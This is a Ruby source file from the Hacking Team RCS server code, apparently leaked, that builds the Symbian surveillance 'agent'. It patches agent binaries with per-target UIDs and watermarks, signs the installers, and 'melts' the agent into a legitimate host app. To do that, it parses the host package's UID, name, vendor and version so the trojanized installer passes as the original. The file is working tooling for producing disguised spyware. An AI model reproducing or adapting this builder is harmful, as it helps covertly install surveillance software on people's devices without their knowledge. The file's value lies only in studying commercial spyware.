hackedteam/rcs-db

View on GitHub
lib/rcs-db/build/symbian.rb

Summary

Maintainability
D
1 day
Test Coverage
#
#  Agent creation for symbian
#

# from RCS::Common
require 'rcs-common/trace'
require 'rcs-common/binary'

require 'yaml'
require 'find'

module RCS
module DB

class BuildSymbian < Build

  def initialize
    super
    @platform = 'symbian'
  end

  def patch(params)
    trace :debug, "Build: patching: #{params}"

    # add the file to be patched to the params
    # these params will be passed to the super
    params[:core] = '5th/SharedQueueMon_20023635.exe'

    # enforce demo flag accordingly to the license
    # or raise if cannot build
    params['demo'] = LicenseManager.instance.can_build_platform :symbian, params['demo']

    # invoke the generic patch method with the new params
    super

    params[:core] = '3rd/SharedQueueMon_20023635.exe'
    # invoke the generic patch method with the new params
    super

    params[:core] = 'symbian3/SharedQueueMon_20023635.exe'
    params[:config] = '2009093023'

    # invoke the generic patch method with the new params
    super

    raise "Cannot find UIDS file" unless File.exist? Config.instance.cert("symbian.uids")

    yaml = File.open(Config.instance.cert("symbian.uids"), 'rb') {|f| f.read}
    @uids = YAML.load(yaml)

    # the UIDS must be 8 chars (padded with zeros)
    @uids.collect! {|u| u.rjust(8, '0')}

    trace :debug, "Build: signing with UIDS #{@uids.inspect}"

    # substitute the UIDS into every file
    Find.find(@tmpdir).each do |file|
      if File.file?(file)
        content = File.open(file, 'rb') {|f| f.read}
        content.binary_patch '[:UID1:]', @uids[0] rescue nil
        content.binary_patch '[:UID2:]', @uids[1] rescue nil
        content.binary_patch '[:UID3:]', @uids[2] rescue nil
        content.binary_patch '[:UID4:]', @uids[3] rescue nil
        content.binary_patch '[:UID5:]', @uids[4] rescue nil
        content.binary_patch '[:UID6:]', @uids[5] rescue nil
        content.gsub! /SharedQueueCli_20023633\{000a0000\}\[[a-z0-9]*\].dll/, "SharedQueueCli_20023633{000a0000}[#{@uids[3]}].dll" rescue nil
        File.open(file, 'wb') {|f| f.write content}
      end
    end

    FileUtils.cp(path('symbian3/rsc'), path("symbian3/#{@uids[0]}.rsc"))
    FileUtils.cp(path('5th/rsc'), path("5th/#{@uids[0]}.rsc"))
    FileUtils.cp(path('3rd/rsc'), path("3rd/#{@uids[0]}.rsc"))

    trace :debug, "Build: rebuilding with petran"

    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[1]} -sid 0x#{@uids[1]} -compress #{path('symbian3/SharedQueueMon_20023635.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[1]} -sid 0x#{@uids[1]} -compress #{path('5th/SharedQueueMon_20023635.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[1]} -sid 0x#{@uids[1]} -compress #{path('3rd/SharedQueueMon_20023635.exe')}"

    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[2]} -sid 0x#{@uids[2]} -compress #{path('symbian3/SharedQueueSrv_20023634.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[2]} -sid 0x#{@uids[2]} -compress #{path('5th/SharedQueueSrv_20023634.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[2]} -sid 0x#{@uids[2]} -compress #{path('3rd/SharedQueueSrv_20023634.exe')}"

    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[3]} -sid 0x#{@uids[3]} -compress #{path('symbian3/SharedQueueCli_20023633.dll')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[3]} -sid 0x#{@uids[3]} -compress #{path('5th/SharedQueueCli_20023633.dll')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[3]} -sid 0x#{@uids[3]} -compress #{path('3rd/SharedQueueCli_20023633.dll')}"

    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[4]} -sid 0x#{@uids[4]} -compress #{path('symbian3/Uninstaller.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[4]} -sid 0x#{@uids[4]} -compress #{path('5th/Uninstaller.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[4]} -sid 0x#{@uids[4]} -compress #{path('3rd/Uninstaller.exe')}"

    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[5]} -sid 0x#{@uids[5]} -compress #{path('symbian3/UninstMonitor.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[5]} -sid 0x#{@uids[5]} -compress #{path('5th/UninstMonitor.exe')}"
    CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[5]} -sid 0x#{@uids[5]} -compress #{path('3rd/UninstMonitor.exe')}"

  end

  def melt(params)
    trace :debug, "Build: melting: #{params}"

    @appname = params['appname'] || 'install'
    @melted = params['input'] ? true : false

    trace :debug, "Build: creating sis files"

    CrossPlatform.exec path('makesis'), "uninstaller.pkg uninstaller.sis", {chdir: path('symbian3')}
    File.exist? path('symbian3/uninstaller.sis') or raise("makesis failed for uninstaller symbian3")

    CrossPlatform.exec path('makesis'), "uninstaller.pkg uninstaller.sis", {chdir: path('5th')}
    File.exist? path('5th/uninstaller.sis') or raise("makesis failed for uninstaller 5th")

    CrossPlatform.exec path('makesis'), "uninstaller.pkg uninstaller.sis", {chdir: path('3rd')}
    File.exist? path('3rd/uninstaller.sis') or raise("makesis failed for uninstaller 3rd")

    if @melted
      @appname_orig = params['filename']
      FileUtils.mkdir_p(path('melting/working'))
      FileUtils.mv Config.instance.temp(params['input']), path("melting/working/#{@appname_orig}")
      # get info from the original sisx (host)
      @melted_uid, @melted_name, @melted_vendor, @melted_major, @melted_minor = get_app_info(path("melting/working/#{@appname_orig}"))
    end

  end

  def sign(params)
    trace :debug, "Build: signing: #{params}"

    trace :debug, "Build: creating sisx files"

    params['cert'] or raise "no cert provided"
    params['key'] or raise "no key provided"

    # this certificate are provided by the console
    FileUtils.mv(Config.instance.temp(params['cert']), path('symbian.cer'))
    FileUtils.mv(Config.instance.temp(params['key']), path('symbian.key'))

    CrossPlatform.exec path('signsis'), "-s uninstaller.sis uninstaller.sisx ../symbian.cer ../symbian.key", {chdir: path('symbian3')}
    File.exist? path('symbian3/uninstaller.sisx') or raise("signsis failed for uninstaller symbian3")

    CrossPlatform.exec path('signsis'), "-s uninstaller.sis uninstaller.sisx ../symbian.cer ../symbian.key", {chdir: path('5th')}
    File.exist? path('5th/uninstaller.sisx') or raise("signsis failed for uninstaller 5th")

    CrossPlatform.exec path('signsis'), "-s uninstaller.sis uninstaller.sisx ../symbian.cer ../symbian.key", {chdir: path('3rd')}
    File.exist? path('3rd/uninstaller.sisx') or raise("signsis failed for uninstaller 3rd")

    trace :debug, "Build: final installer #{params['edition']}"

    raise "invalid edition" if params['edition'].nil?
    
    CrossPlatform.exec path('makesis'), "installer-#{params['edition']}.pkg installer.sis", {chdir: path('')}
    File.exist? path('installer.sis') or raise("makesis failed for installer")

    CrossPlatform.exec path('signsis'), "-s installer.sis #{@appname}.sisx symbian.cer symbian.key", {chdir: path('')}
    File.exist? path(@appname + '.sisx') or raise("signsis failed for installer")

    @outputs += ['installer.sis', @appname + '.sisx']

    # ugly ugly ugly hack to permit melting
    # we cannot perform it in the 'melt' method since the melting needs the agent already signed
    if @melted
      FileUtils.cp path(@appname + '.sisx'), path("melting/working/plugin.sisx")

      # create dropper.pkg
      if File.file?(path("melting/#{params['edition']}/dropper.pkg"))
          content = File.open(path("melting/#{params['edition']}/dropper.pkg"), 'rb') {|f| f.read}
          content.gsub! '[:uniquevendorname:]', @melted_vendor
          File.open(path("melting/working/dropper.pkg"), 'wb') {|f| f.write content}
      end

      FileUtils.cp path("melting/#{params['edition']}/upgrader.exe"), path("melting/working/upgrader.exe")

      CrossPlatform.exec path('petran'), "-uid3 0x#{@uids[4]} -sid 0x#{@uids[4]} -compress #{path('melting/working/upgrader.exe')}"

      CrossPlatform.exec path('makesis'), "dropper.pkg upgrader.sis", {chdir: path('melting/working')}
      File.exist? path('melting/working/upgrader.sis') or raise("makesis failed for upgrader")

      CrossPlatform.exec path('signsis'), "-s upgrader.sis upgrader.sisx ../../symbian.cer ../../symbian.key", {chdir: path('melting/working')}
      File.exist? path('melting/working/upgrader.sisx') or raise("signsis failed for upgrader")

      # Create melting.sisx
      if File.file?(path("melting/melting.pkg"))
        content = File.open(path("melting/melting.pkg"), 'rb') {|f| f.read}
        content.gsub! '[:appname:]', @melted_name
        content.gsub! '[:uniquevendorname:]', @melted_vendor
        content.gsub! '[:major:]', @melted_major
        content.gsub! '[:minor:]', @melted_minor
        content.gsub! '[:packagename:]', "#{@appname_orig}"
        content.gsub! '[:uid:]', @melted_uid
        File.open(path("melting/working/melting.pkg"), 'wb') {|f| f.write content}
      end

      CrossPlatform.exec path('makesis'), "melting.pkg melted.sis", {chdir: path('melting/working')}
      File.exist? path('melting/working/melted.sis') or raise("makesis failed for melted")

      CrossPlatform.exec path('signsis'), "-s melted.sis melted.sisx ../../symbian.cer ../../symbian.key", {chdir: path('melting/working')}
      File.exist? path("melting/working/melted.sisx") or raise("signsis failed for melted")

      FileUtils.cp path("melting/working/melted.sisx"), path(@appname_orig)

      @outputs += [@appname_orig]
    end
    
  end

  def pack(params)
    trace :debug, "Build: pack: #{params}"

    name = @melted ? @appname_orig : @appname + '.sisx'

    Zip::File.open(path('output.zip'), Zip::File::CREATE) do |z|
      z.file.open(name, "wb") { |f| f.write File.open(path(name), 'rb') {|f| f.read} }
    end

    # this is the only file we need to output after this point
    @outputs = ['output.zip']

  end

  def unique(core)
    Zip::File.open(core) do |z|
      core_content = z.file.open('5th/SharedQueueMon_20023635.exe', "rb") { |f| f.read }
      add_magic(core_content)
      z.file.open('5th/SharedQueueMon_20023635.exe', "wb") { |f| f.write core_content }

      core_content = z.file.open('3rd/SharedQueueMon_20023635.exe', "rb") { |f| f.read }
      add_magic(core_content)
      z.file.open('3rd/SharedQueueMon_20023635.exe', "wb") { |f| f.write core_content }

      core_content = z.file.open('symbian3/SharedQueueMon_20023635.exe', "rb") { |f| f.read }
      add_magic(core_content)
      z.file.open('symbian3/SharedQueueMon_20023635.exe', "wb") { |f| f.write core_content }
    end
  end


  def get_app_info(file)
    # Read info from original package

    fd = File.open(file, "rb")
    raise "Invalid input file" unless fd

    # read UID
    fd.pos = 8
    uid = fd.read(4).unpack("h*").first.reverse

    # read size and check if it's on 4 or 8 bytes
    offset = 20
    fd.pos = offset
    sis_size = fd.read(4).unpack("L_").first
    offset += ((sis_size & 32768) == 1) ? 8 : 4

    # now we are in SISControllerChecksum, it's a 12 bytes info
    # optional, may not be present
    fd.pos = offset
    offset += 12 if fd.read(4).unpack("L_").first == 34

    # now we are in SISDataChecksum, it's a 12 bytes info, optional
    # optional, may not be present
    fd.pos = offset
    offset += 12 if fd.read(4).unpack("L_").first == 35

    # now, we could be in SISCompressed
    fd.pos = offset

    if fd.read(4).unpack("L_").first == 3
      offset += 4
      fd.pos = offset
      # length 4 or 8 bytes?
      if (fd.read(4).unpack("L_").first & 32768) == 1
        fd.pos = offset
        siscompressedlength = fd.read(8).unpack("L_").first
        offset += 8
      else
        fd.pos = offset
        siscompressedlength = fd.read(4).unpack("L_").first
        offset += 4
      end

      fd.pos = offset

      if fd.read(4).unpack("L_").first == 1
        offset += 12
        compressedDataLength = siscompressedlength - 12

        fd.pos = offset
        compresseddata = fd.read(compressedDataLength)
        zstream = Zlib::Inflate.new
        buf = zstream.inflate(compresseddata)
        zstream.finish
        zstream.close
      else
        offset += 12
        uncompressedDataLength = siscompressedlength - 12
        fd.pos = offset
        buf = fd.read(uncompressedDataLength)
      end

      fd.close
    else
      raise "Invalid input sisx"
    end

    # now we should be in SISController
    index = 4
    length = buf.slice(index, 4).unpack("L_").first
    index += ((length & 1) == 1) ? 8 : 4

    #now we should be in SISInfo
    index += 4
    length= buf.slice(index, 4).unpack("L_").first
    if (length & 1) == 1
      length =  buf.slice(index, 8).unpack("L_").first
      index += 8
    else
      length = buf.slice(index, 4).unpack("L_").first
      index += 4
    end

    infobuf = buf.slice(index, length)

    # now we are in SISInfo... at last
    # skip SISUid, 12 bytes
    index = 12
    # read unique vendor name
    index += 4
    length = infobuf.slice(index, 4).unpack("L_").first
    index += 4
    uniquevendorname = infobuf.slice(index,length).force_encoding("utf-16le").encode("utf-8")

    # caution! length is padded to the first 4 bytes multiple
    hop = ((length % 4) == 0) ? length : length + (4 - (length % 4))
    index += hop

    # read the first name and skip the array of names
    index += 4
    namelen = infobuf.slice(index + 8, 4).unpack("L_").first
    appname = infobuf.slice(index + 12, namelen).force_encoding("utf-16le").encode("utf-8")
    length = infobuf.slice(index, 4).unpack("L_").first
    index += (length + 4)

    # skip the array of vendor names
    index += 4
    length = infobuf.slice(index,4).unpack("L_").first
    index += (length + 4)

    # read version
    index += 8
    major = infobuf.slice(index,4).unpack("L_").first.to_s
    index += 4
    minor = infobuf.slice(index,4).unpack("L_").first.to_s

    trace :debug, "Symbian melting info: #{uid} #{appname} #{uniquevendorname} #{major}.#{minor}"

    return uid, appname, uniquevendorname, major, minor
  end

end

end #DB::
end #RCS::